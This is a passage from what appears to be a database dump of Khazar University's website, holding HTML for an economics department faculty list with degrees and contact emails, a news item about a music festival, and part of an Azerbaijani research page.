Financial Accounting (Dumlupinar&nbsp;University,&nbsp;Turkey)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eibadov@khazar.org\">eibadov[at]khazar.org</a></p>  <div><br></div>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/1.jpg\" style=\"border:7px;width:150px;height:205px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/AhmetBahadirBaysalCV.pdf\">Dr. Bahadır Baysal</a></strong>&nbsp;</p><p>Coordinator&nbsp;in Economics and Management Department</p><p>Ph.D.&nbsp;in Business Management, Khazar University, Azerbaijan  <br></p><p>M.Sc.Troy State University, Troy, Alabama, USA  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:bbaysal[at]khazar.org\">bbaysal[at]khazar.org</a>  </p><p><strong>Phone:</strong>&nbsp;(+994 12) 421&nbsp;79&nbsp;16&nbsp;&nbsp;(256)</p>\r\n<hr>\r\n<p><img src=\"/files/demo/rashad1.jpg\" style=\"border:7px;width:150px;height:178px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/CV_Huseynov_Rashad_updated_for%20khazar.pdf\">Dr.Rashad Huseynov</a></strong></p><p>Instructor of Managerial Sciences</p><p>Ph.D. in Agricultural and applied economics, Instructor of Economics and Managerial Sciences, Bon University, Germany  <br></p><p>M.Sc.&nbsp;  University of\r\nBonn, Germany&nbsp;</p><p><a href=\"mailto:r.huseynov[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:r.huseynov[at]khazar.org\">r.huseynov[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/lalaganiyeva1.jpg\" style=\"border:7px;float:left;width:150px;height:200px;margin:7px\"><p><strong><a href=\"http://www.khazar.org/files/demo/CVGaniyeva2014.pdf\">Dr.&nbsp;Lala Ganiyeva</a></strong></p><p>Instructor of Research Methods&nbsp;<br></p><p>Ph.D.&nbsp;University of Missouri-Columbia, USA&nbsp;<br></p><p>M.Sc. Michigan State University,&nbsp;USA&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><img src=\"http://www.khazar.org/files/demo/15_04_20_FuadAliyev11.jpg\" style=\"border:7px;width:150px;height:211px;margin:7px;float:left\"></strong><p><strong><a href=\"http://www.khazar.org/files/eco_depart/FuadAliyev.pdf\">Dr.&nbsp;Fuad Aliyev</a></strong>  <br></p><p>Instructor of International Business</p><p>Ph.D.&nbsp;Azerbaijan State Economic University, Azerbaijan&nbsp;<br></p><p>M.Sc. Academy of Public Administration Under The President of&nbsp; Azerbaijan Republic, Azerbaijan<br></p><p><a href=\"http://www.khazar.org/files/eco_depart/FuadAliyev.pdf\"></a><strong>E-mail:</strong>  <a href=\"mailto:fuad.aliyev.B@khazar.org\">fuad.aliyev.B[at]khazar.org</a>  <a href=\"http://www.khazar.org/files/eco_depart/FuadAliyev.pdf\"></a></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/shafa_alasgarova%20photo.jpg\" style=\"border:7px;margin:7px;width:150px;height:170px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/Shafa_Alesgerova-cv-Khazar.pdf\">Dr.&nbsp;Shafa Alasgarova</a></strong>  <br></p><p>Instructor of&nbsp;Managerial&nbsp;Sciences</p><p>Ph.D. in Human Resource Management, University of Manchester, UK (candidate)</p><p>M.Sc. in&nbsp;Human Resource Management, University of Manchester, UK</p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_04_08_LamanGayidova.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/LamanGayidovaCV2014.pdf\">Laman Gayidova</a></strong></p><p>Instructor of Marketing Courses&nbsp;</p>\r\n<p>M.Sc. EDHEC Business School, France&nbsp;</p>\r\n<p><a href=\"mailto:mnouriev@khazar.org\"></a><a href=\"mailto:mnouriev@khazar.org\"></a><a href=\"mailto:laman.gayidova[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:laman.gayidova[at]khazar.org\">laman.gayidova[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_04_10_NijatRasulov.jpg\" style=\"border:7px;width:150px;height:170px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/NijatRasulovCV.pdf\">Nijat Resulov</a></strong>&nbsp;</p><p>Instructor of Financial Management&nbsp;&nbsp;</p>\r\n<p>M.Sc.  University of Leicester, Leicester, United Kingdom&nbsp;</p>\r\n<p><a href=\"mailto: nijat.rasulov[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto: nijat.rasulov[at]khazar.org\">nijat.rasulov[at]khazar.org</a></p>\r\n<p><br></p>\r\n<hr><p><strong><img src=\"/files/demo/15_04_03_ziyaalili.jpg\" style=\"border:7px;margin:7px;width:150px;height:157px;float:left\"><a href=\"http://www.khazar.org/files/demo/ZiyaAliliCV%20(1).pdf\">Ziya&nbsp;Alili&nbsp;</a></strong></p><p>Instructor of Econometrics</p>\r\n<p>M.Sc. University of Wales, London School of Business and\r\nFinance, London, United Kingdom&nbsp;</p>\r\n<p><a href=\"mailto: ziya.alili[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto: ziya.alili[at]khazar.org\">ziya.alili[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_05_22_Orxan_Foto.jpg\" style=\"border:7px;width:150px;height:214px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Orkhan_Karimov_CV.pdf\">Orkhan Karimov</a>&nbsp;</strong></p><p>Instructor of Management and Cost Accounting</p>\r\n<p>M.Sc. Queen’s University, Belfast, UK&nbsp;</p>\r\n<p><a href=\"mailto:orkhan.karimov[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:orkhan.karimov[at]khazar.org\">orkhan.karimov[at]khazar.org</a></p>\r\n<p><br></p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/kh.jpg\" style=\"border:7px;width:150px;height:150px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/CV%20Khumar%20Huseynova_Yanvar_08%20(1).pdf\">Khumar Huseynova</a></strong></p><p>Instructor of Managerial Sciences&nbsp;</p>\r\n<p>M.Sc.&nbsp;Khazar University, Azerbaijan</p>\r\n<p><a href=\"mailto: khumar.huseynova[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto: khumar.huseynova[at]khazar.org\">khumar.huseynova[at]khazar.org</a></p>\r\n<p><br></p>\r\n<hr>\r\n<p>&nbsp;<img src=\"/files/demo/15_04_23_pic.jpg\" style=\"border:7px;width:150px;height:217px;margin:7px;float:left\"><strong>&nbsp;<a href=\"http://www.khazar.org/files/demo/Tarlan_Isgandarov_CV%20(1).pdf\">Tarlan Isgandarov</a></strong></p>\r\n<p>&nbsp;&nbsp;Instructor of Principles of Accounting</p>\r\n<p>&nbsp; M.Sc. University of Southampton, UK&nbsp;</p>\r\n<p>&nbsp;<strong>E-mail:</strong> <a href=\"mailto:tarlan.isgandarov@khazar.org\">tarlan.isgandarov[at]khazar.org</a>  <a href=\"mailto:mnouriev@khazar.org\"></a></p>\r\n<p>&nbsp;</p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p>&nbsp;<img src=\"/files/demo/15_05_05_FIDAN.jpg\" style=\"border:7px;width:150px;height:189px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/CVFidanHajiyeva%20(3).docx.pdf\">Fidan Hajiyeva</a></strong>&nbsp;</p><p>&nbsp;Instructor of\r\nMathematics for Economics and Business</p>\r\n<p>&nbsp;M.Sc.&nbsp;International School of Economics, Tbilisi State\r\nUniversity</p>\r\n<p><a href=\"mailto:fidanhajiyeva[at]khazar.org\"></a><strong>E-mail:&nbsp;</strong><a href=\"mailto:fidanhajiyeva@khazar.org\">fidanhajiyeva[at]khazar.org</a>  <a href=\"http://mailto:fidanhajiyeva@]khazar.org\"></a></p>\r\n<p>&nbsp;</p>  <p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_05_04_s.ganbarli.jpg\" style=\"border:7px;float:left;width:150px;height:192px;margin:7px\"><a href=\"http://www.khazar.org/files/demo/CV.%20Shaig%20Ganbarli%20(1).pdf\">Shaig Ganbarli</a></strong></p><p>Instructor of Econometrics and Mathematics for Economics and\r\nBusiness&nbsp;</p>\r\n<p>M.Sc.   (International School of Economics, Tbilisi State\r\nUniversity (ISET) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n<p><br></p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_04_20_Javidan.Feyziyev.jpg\" style=\"border:7px;float:left;width:150px;height:153px;margin:7px\"><a href=\"http://www.khazar.org/files/demo/Javidan_Feyziyev%20CV.pdf\">Javidan Feyziyev</a></strong></p><p>Instructor of Computer Applications in Business&nbsp;</p>\r\n<p>M.Sc. Azerbaijan State Oil Academy, Azerbaijan&nbsp;</p><p><a href=\"mailto:mnouriev@khazar.org\"></a><a href=\"mailto:javidan.feyziyev[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:javidan.feyziyev[at]khazar.org\">javidan.feyziyev[at]khazar.org</a>  &nbsp;</p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_05_05_IMG_20150420_131221.jpg\" style=\"border:7px;float:left;width:150px;height:194px;margin:7px\"><a href=\"http://www.khazar.org/files/demo/TuranGarayevaCV.pdf\">Turan Garayeva</a></strong></p><p>Instructor of Strategic Management</p>\r\n<p>M.Sc.&nbsp;London School of Business and Finance, UK</p><p><a href=\"mailto:turan.garayeva[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:turan.garayeva[at]khazar.org\">turan.garayeva[at]khazar.org</a>  <br></p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_04_27_2014-09-22_21.46.49.jpg\" style=\"border:7px;width:150px;height:178px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/RasulHajiyevCV2014%20(3).pdf\">Rasul Hajiyev</a>&nbsp;</strong></p><p>Instructor of Managerial Sciences&nbsp;</p>\r\n<p>M.Sc.&nbsp;Audencia Nantes Ecole de Management, France&nbsp;</p><p><a href=\"mailto:rasul.hajiyev[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:rasul.hajiyev[at]khazar.org\">rasul.hajiyev[at]khazar.org</a>  <br></p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_06_02_kamilheyderov.jpg\" style=\"border:7px;width:144px;height:174px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/CVKamil2014.pdf\">Kamil Heydarov</a></strong></p><p>Instructor of Financial Reporting</p>\r\n<p>M.Sc. Durham University, UK</p><p><a href=\"mailto:kamil.heydarov[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:kamil.heydarov[at]khazar.org\">kamil.heydarov[at]khazar.org</a>  <br></p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_05_05_niyaziabbasov.jpg\" style=\"border:7px;width:150px;height:202px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/NiyaziAbbasovresume2015.pdf\">Niyazi Abbasov</a></strong></p><p>Instructor of Financial Accounting</p>\r\n<p>M.Sc.&nbsp;Azerbaijan State Economic University,\r\nAzerbaijan</p><p><a href=\"mailto:niyazi.abbasov[atkhazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:niyazi.abbasov[atkhazar.org\">niyazi.abbasov[at]khazar.org</a></p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/njkln.jpg\" style=\"border:7px;width:150px;height:166px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/NijatGarayevCV2014.pdf\">Nijat Garayev</a></strong></p><p>Instructor of Managerial Sciences</p>\r\n<p>M.Sc.The University of Manchester, UK</p><p><a href=\"mailto:nijat.garayev[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:nijat.garayev[at]khazar.org\">nijat.garayev[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/15_04_22_DSC_9917.jpg\" style=\"border:7px;width:150px;height:223px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/fuad%20aliyev%20ib.pdf\">Fuad Aliyev</a></strong></p><p>Instructor of Business Law</p>\r\n<p>M.Sc.  LL.M. Georgetown University Law Center,&nbsp;USA</p><p><strong>E-mail:</strong> <a href=\"mailto:fuad.aliyev.F@khazar.org\">fuad.aliyev.F[at]@khazar.org</a><br></p>\r\n<p><br></p>  <p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/zhala.jpg\" style=\"border:7px;margin:7px;float:left;width:150px;height:211px\"><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-Mammadova-EN.pdf\">Zhala Mammadova</a></strong></p><p>Instructor of Managerial Sciences</p><p>M.Sc in International Human Resource Management,&nbsp;</p><p>University of Newcastle,\r\nNewcastle (United Kingdom)  &nbsp;</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/demo/AAEAAQAAAAAAAAN-AAAAJGVlN2MyZTQ4LWI5MzctNGMyYi05NjZmLTE1YzcwOTI1ZDhiMg.jpg\" style=\"border:7px;width:150px;height:223px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/CV_Erkin_Nasirov_2017.pdf\">Erkin Nasirov</a></strong></p><p>Instructor of &nbsp;Business and professional communication&nbsp;  <br></p><p>M.Sc.\r\nin Human Resource Management &nbsp;and Development,</p><p>University of\r\nManchester, UK<br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/demo/abdullalikhanov.jpg\" style=\"border:7px;float:left;width:150px;height:189px;margin:7px\"><a href=\"http://www.khazar.org/files/eco_depart/CV.Abdulla_Alikhanov.KH.pdf\">Abdulla Alikhanov</a></strong></p><p>Instructor of Fundamental of Financial Management</p><p>M.Sc.  in Finance and Business,&nbsp;School of\r\nEconomics and Management,</p><p> Lund University<strong>, </strong>Sweden</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/demo/16_03_18_vm1.jpg\" style=\"border:7px;margin:7px;float:left;width:150px;height:208px\"><strong><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\">Vusal Mammadrzayev</a></strong><br></p><p>Instructor of Statistics</p><p> M.Sc. &nbsp;in Economics and Finance</p><p>Eberhard-Karls University of Tubingen, Germany</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/demo/elvin1.jpg\" style=\"border:7px;width:150px;height:172px;margin:7px;float:left\"><strong><strong><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\">Elvin Mirzayev</a></strong>&nbsp;</strong><br></p><p>Instructor of International Finance</p><p>M.Sc.&nbsp;European School of Finance (HfWU) Nürtingen University,\r\nGermany</p> <p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/demo/15_04_30_fariz_idea_banki.jpg\" style=\"border:7px;width:150px;height:176px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/CVFarizTJafarov2014.pdf\">Fariz Jafarov</a></strong></p><p>Instructor&nbsp;of\r\nstrategic Management&nbsp;and Business Policy&nbsp;&nbsp;<br></p><p>Master&nbsp;Certificate in Project Management, George\r\nWashington University</p> <p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/demo/photo1.jpg\" style=\"border:7px;width:150px;height:166px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/CVEuropeanPassMirIsmayiSeyidov.pdf\">Mirismayil Seyidov</a></strong></p><p>Instructor\r\nof Financial Accounting  <br></p><p>M.Sc. Accounting and Finance University of Leicester, UK</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/image/nilufar_masimova.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/pdf/cv.nilufar.masimova%20.PDF\"><strong>Nilufar Masimova</strong></a></p><p>Instructor of Organizational Behavior  <br></p>\r\n<p>M.Sc. University of East Anglia, UK&nbsp;  <br></p>  <p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/image/firdovsi_agasirinov.jpg\" style=\"width:150px;height:192px;margin:7px;float:left\"><strong><span style=\"color:#0c4c92\"><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-20170925-Aghashirinov-EN.pdf\">Firdovsi Aghashirinov</a></span></strong></p><p>Instructor&nbsp;of Insurance  <br></p><p>M.Sc.<strong>&nbsp;</strong>Baku\r\nState University, Azerbaijan</p>\r\n<p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/Photo.jpg\" style=\"border:7px;width:160px;height:168px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/CV%20-%20Elmir%20Huseynov.pdf\">Elmir Huseynov</a></strong></p><p>Instructor of Financial Management  <br></p><p>M.Sc.   in Economics, &nbsp;Finance and Management,&nbsp;The University of Bristol<br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/Sevinj%20S..jpg\" style=\"border:7px;width:150px;height:150px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Sevinj_S_Resume.pdf\"><strong>Sevinj Sultanova</strong></a><br></p><p>Instructor of Managerial Sciences</p><p>M.Sc. in Human Resource Management, University of Leeds, UK  <br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/nazakatazimli.jpg\" style=\"border:7px;width:157px;height:150px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/NazakatAzimli.pdf\"><strong>Nazakat Azimli</strong></a></p><p>Instructor of Economics  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p>M.Sc.   in International Political Economy, Kings College, London</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/aytan.jpg\" style=\"border:7px;width:150px;height:180px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Aytan%20Akhundova.pdf\">Ayten Akhundova</a></strong><br></p><p>Instructor of Economics</p><p>M.S.&nbsp;in &nbsp;Economics, Illinois, USA</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/Gahraman_Yusupov_photo.jpg\" style=\"border:7px;margin:7px;width:150px;height:156px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Gahraman_Yusupov_Cv.pdf\">Gahraman Yusupov</a></strong><br></p><p>Instructor of Tourism Studies</p><p>M.S.&nbsp;in &nbsp;National economy and planning,&nbsp;Baku, Azerbaijan</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/NijatGuliyev_photo.jpg\" style=\"border:7px;margin:7px;float:left;width:150px;height:178px\"><strong><a href=\"http://www.khazar.org/files/eco_depart/CV%20N.Guliyev_Eng_Prof.pdf\">Nijat Guliyev</a></strong><br></p><p>Instructor of Economics  <br></p><p>M.A. in Economics, ISET, Tbilisi, Georgia</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/photo_Shahriyar_Aliyev.jpg\" style=\"border:7px;width:150px;height:230px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Cv_Shahriyar_Aliyev.pdf\">Shahriyar Aliyev</a></strong><br></p><p>Instructor of Economics  <br></p><p>M.S in Economics,&nbsp;Philipps University of &nbsp;Marburg, Germany&nbsp;  </p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/eco_depart/elnur_ramazanov_photo.jpg\" style=\"border:7px;width:150px;height:182px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Ramazanov_Elnur_%202017_CV.pdf\">Elnur Ramazanov</a></strong></p><p>Instructor of Principles of Accounting</p><p>M.S&nbsp;in Accounting, James Cook University, Brisbane, Australia</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/Qas%C4%B1mov_Tural_photo.jpg\" style=\"border:7px;margin:7px;float:left;width:150px;height:194px\"><strong><a href=\"http://www.khazar.org/files/eco_depart/CV_Eng_updated.pdf\">Tural Gasimov</a></strong><br></p><p>İnstructor of Managerial&nbsp;Sciences</p><p>Master of Finance, Frankfurt School of Finance and Management, Germany</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eco_depart/elnur-%D0%BA%D0%BE%D0%BF%D0%B8%D1%8F-300x300.jpg\" style=\"border:7px;width:150px;height:150px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/ElnurEyvazovCV.pdf\">Elnur Eyvazov</a></strong><br></p><p>Instructor of Taxation</p><p>Master in Law, Oxford University, UK</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/araz_fataliyev.jpg\" style=\"width:150px;height:171px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Araz%20Fataliyev_CV_upd.pdf\">Araz Fataliyev</a><a href=\"http://www.khazar.org/files/eco_depart/Araz_Fataliyev_CV.pdf\"></a></strong></p><p>Instructor of Fundamentals of Financial Management<br></p><p>M.Sc. in Accounting, Finance and Management, University of Bristol, Bristol  <br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong>\r\n<img src=\"/files/eco_depart/elnur_huseynov.jpg\" style=\"width:150px;height:129px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Elnur_Huseynov_CV.pdf\">Elnur Huseynov</a></strong></p><p>Instructor of International Management  <br></p><p>Master of Arts in\r\nDiplomacy and International Affairs, ADA university, Azerbaijan&nbsp; &nbsp;<br></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/elvin_alizade.jpg\" style=\"width:150px;height:239px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Elvin_Alizada_CV.pdf\">Elvin Alizade</a></strong></p><p>Instructor of Fundamentals of Financial Management&nbsp;</p><p>M.Sc. in Management and Finance, University of Chester, England&nbsp;&nbsp;&nbsp;<br></p><p>&nbsp; &nbsp;<br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"http://www.khazar.org/files/eco_depart/javid_suleymanov.jpg\" style=\"width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Cavid_S_CV.pdf\">Javid Suleymanov</a><a href=\"http://www.khazar.org/files/eco_depart/Cavid_Suleymanov.pdf\"></a>  <br></strong></p><p>Instructor of Principles of Taxation<strong>&nbsp;</strong>  <br></p><p>Master of Business Administration,&nbsp;University of West Scotland, London, United Kingdom  &nbsp;<br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/jeyhun_g_mammadov.jpg\" style=\"width:150px;height:225px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Jeyhun_Mammadov_(BP).pdf\">Jeyhun G.&nbsp;Mammadov</a>  <br></strong></p><p>Instructor of Taxation  <strong>&nbsp;</strong><br></p><p>Master of Business Administration,&nbsp;Warwick Business School, UK  <strong>&nbsp;</strong><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"http://www.khazar.org/files/eco_depart/jeyhun_huseynzade.jpg\" style=\"width:150px;height:210px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Jeyhun_Huseynzada_CV.pdf\">Jeyhun Huseynzade</a><br></strong></p><p>Instructor of Principles of Taxation&nbsp;</p><p>Master of Business Administration,&nbsp;Columbia University of New York  &nbsp;&nbsp; &nbsp;<br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/eco_depart/rufat_mammadov.jpg\" style=\"width:150px;height:193px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Rufat_Mammadov_CV.pdf\">Rufat Mammadov</a></strong></p><p>Instructor of Principles of\r\nMarketing</p><p>Ph.D.&nbsp;continues from 2012  <br></p><p>Master Degree in Tourism and Management, Dokuz Eylul University, Izmir (Turkey)&nbsp;&nbsp;<br></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/kamran_behbudov.jpg\" style=\"width:150px;height:210px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Kamran_Behbudov_CV.pdf\">Kamran Behbudov</a></strong></p><p>Instructor of Tourism Transportation Systems  <strong>&nbsp;</strong><br></p><p>Ph.D.&nbsp;in Law,&nbsp;&nbsp;ANAS,&nbsp;Insititute of Philosophy and Law</p><p><strong><br></strong></p><p><br></p>'),(5175,37,'az','Elanlar','Elanlar',''),(2191,1341,'en','Khazar University Members at Uzeyir Hacibeyli International Music Festival','As part of the VIII Uzeyir Hacibeyli International Music Festival organized by the Azerbaijan Republic Ministry of Culture and Tourism and by the Heydar Aliyev...','<p>As\r\npart of the VIII Uzeyir Hacibeyli International Music Festival organized by the\r\nAzerbaijan Republic Ministry of Culture and Tourism and by the Heydar Aliyev\r\nFoundation on September 18-27, 2016, a literary and musical event was held in\r\nthe composer’s house museum on September 18th with the participation of\r\nrepresentatives from the literary and musical communities. </p>\r\n<p>Composer\r\nSardar Farajov, director of the museum, opened the event and spoke about the\r\nsignificance of this annual festival and about the life of the genius composer.\r\nThen a presentation ceremony was held for the book “Sounds from Abroad” by\r\nAslan Kanan, researcher and editorialist. Researchers shared lectures and musical\r\nperformances were given. </p>\r\n<p>Associate\r\nProfessor Zulfiyya Sadigova, Head of the Department of Music and Fine Arts at\r\nKhazar University, and Nasrin Rzayeva, concertmaster of Khazar University\r\nChamber Orchestra, participated in the concert. </p>\r\n<p>Khazar\r\nUniversity is actively participating in this International Music Festival as in\r\nother years. Khazar musicians will perform in Uzeyir Hajibeyli’s house museum\r\non September 23rd and in the Chamber and Organ Music Hall on September 26th.\r\nThen a masterclass with Slovakian violinist Ferhad Ashumov and Khazar’s Chamber\r\nOrchestra will be held at Khazar University on September 27th.</p>'),(349,217,'en','Research','Research',''),(350,217,'az','Elmi - tədqiqat','Elmi - tədqiqat',''),(351,219,'az','Elmi - tədqiqat','Elmi - tədqiqat','<p style=\"font-family:\'times new roman\', times, serif\"><strong style=\"color:#9900cc\"><br>\r\nDepartamentin Elmi Fəaliyyəti</strong></p>\r\n<div style=\"font-family:\'times new roman\', times, serif\">\r\n<hr width=\"100%\" noshade=\"noshade\">\r\n</div>\r\n<p style=\"font-family:\'times new roman\', times, serif\"><br>\r\nİqtisadiyyat və Menecment kafedrası İqtisadi Nəzəriyyə, Maliyyə və Menecmentin əsas\r\nsahələri üzrə beynəlxalq aləmdə tanınmış akademik ekspertlər qrupunu yaratmış və\r\ngənc tədqiqatçıları elmi tədqiqat işi aparmaları üçün müvafiq elmi mühit ilə təmin\r\nedir. Departamentin müxtəlif layihələrdə elmi yaradıcılıq məhsulları davamlı\r\nolaraq milli və beynəlxalq mükafatlara layiq görülür.</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Xüsusilə, İqtisadiyyat və Menecment departamenti\r\nenerji sahələrinin iqtisadiyyatı üzrə elmi araşdırmalarına görə böyük nüfuza\r\nmalikdir və bu sahədə Azərbaycanda aparıcı tədqiqat institutudur.</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Departamentin akademik heyətinin menecment sahəsində\r\npraktiki və nəzəri tədqiqatları maliyyə risklərinin idarə olunması, strateji\r\nidarəetmə və insan kapitalının idarə olunmasında yaranan problemlərin tədqiqini\r\nəhatə edir. Akademik heyətin maliyyə sahəsində elmi yaradıcılığı korporativ\r\nmaliyyə, beynəlxalq maliyyə və əqli mülkiyyətin iqtisadiyyatını əhatə edir.</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Yaxın gələcəkdə təchizat zənciri sahəsində biliyin\r\nidarəedilməsinin qiymətləndirilməsi üzrə tədqiqat işləri aparılması\r\nplanlaşdırılıb.</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\">Yaradıcı heyətin geniş təcrübə 